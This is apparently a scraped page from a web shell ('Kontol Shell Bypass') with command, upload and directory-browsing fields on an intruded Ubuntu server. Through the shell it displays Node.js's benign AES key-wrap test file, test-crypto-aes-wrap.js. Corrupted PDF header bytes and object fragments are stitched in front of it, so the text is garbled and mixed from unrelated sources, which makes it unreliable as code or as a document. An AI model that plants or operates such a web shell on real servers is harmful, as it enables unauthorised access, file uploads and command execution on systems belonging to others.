%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/test-crypto-aes-wrap.js
'use strict';
const common = require('../common');
if (!common.hasCrypto)
  common.skip('missing crypto');

const assert = require('assert');
const crypto = require('crypto');

const test = [
  {
    algorithm: 'aes128-wrap',
    key: 'b26f309fbe57e9b3bb6ae5ef31d54450',
    iv: '3fd838af4093d749',
    text: '12345678123456781234567812345678'
  },
  {
    algorithm: 'id-aes128-wrap-pad',
    key: 'b26f309fbe57e9b3bb6ae5ef31d54450',
    iv: '3fd838af',
    text: '12345678123456781234567812345678123'
  },
  {
    algorithm: 'aes192-wrap',
    key: '40978085d68091f7dfca0d7dfc7a5ee76d2cc7f2f345a304',
    iv: '3fd838af4093d749',
    text: '12345678123456781234567812345678'
  },
  {
    algorithm: 'id-aes192-wrap-pad',
    key: '40978085d68091f7dfca0d7dfc7a5ee76d2cc7f2f345a304',
    iv: '3fd838af',
    text: '12345678123456781234567812345678123'
  },
  {
    algorithm: 'aes256-wrap',
    key: '29c9eab5ed5ad44134a1437fe2e673b4d88a5b7c72e68454fea08721392b7323',
    iv: '3fd838af4093d749',
    text: '12345678123456781234567812345678'
  },
  {
    algorithm: 'id-aes256-wrap-pad',
    key: '29c9eab5ed5ad44134a1437fe2e673b4d88a5b7c72e68454fea08721392b7323',
    iv: '3fd838af',
    text: '12345678123456781234567812345678123'
  },
];

test.forEach((data) => {
  const cipher = crypto.createCipheriv(
    data.algorithm,
    Buffer.from(data.key, 'hex'),
    Buffer.from(data.iv, 'hex'));
  const ciphertext = cipher.update(data.text, 'utf8');

  const decipher = crypto.createDecipheriv(
    data.algorithm,
    Buffer.from(data.key, 'hex'),
    Buffer.from(data.iv, 'hex'));
  const msg = decipher.update(ciphertext, 'buffer', 'utf8');

  assert.strictEqual(msg, data.text, `${data.algorithm} test case failed`);
});

Kontol Shell Bypass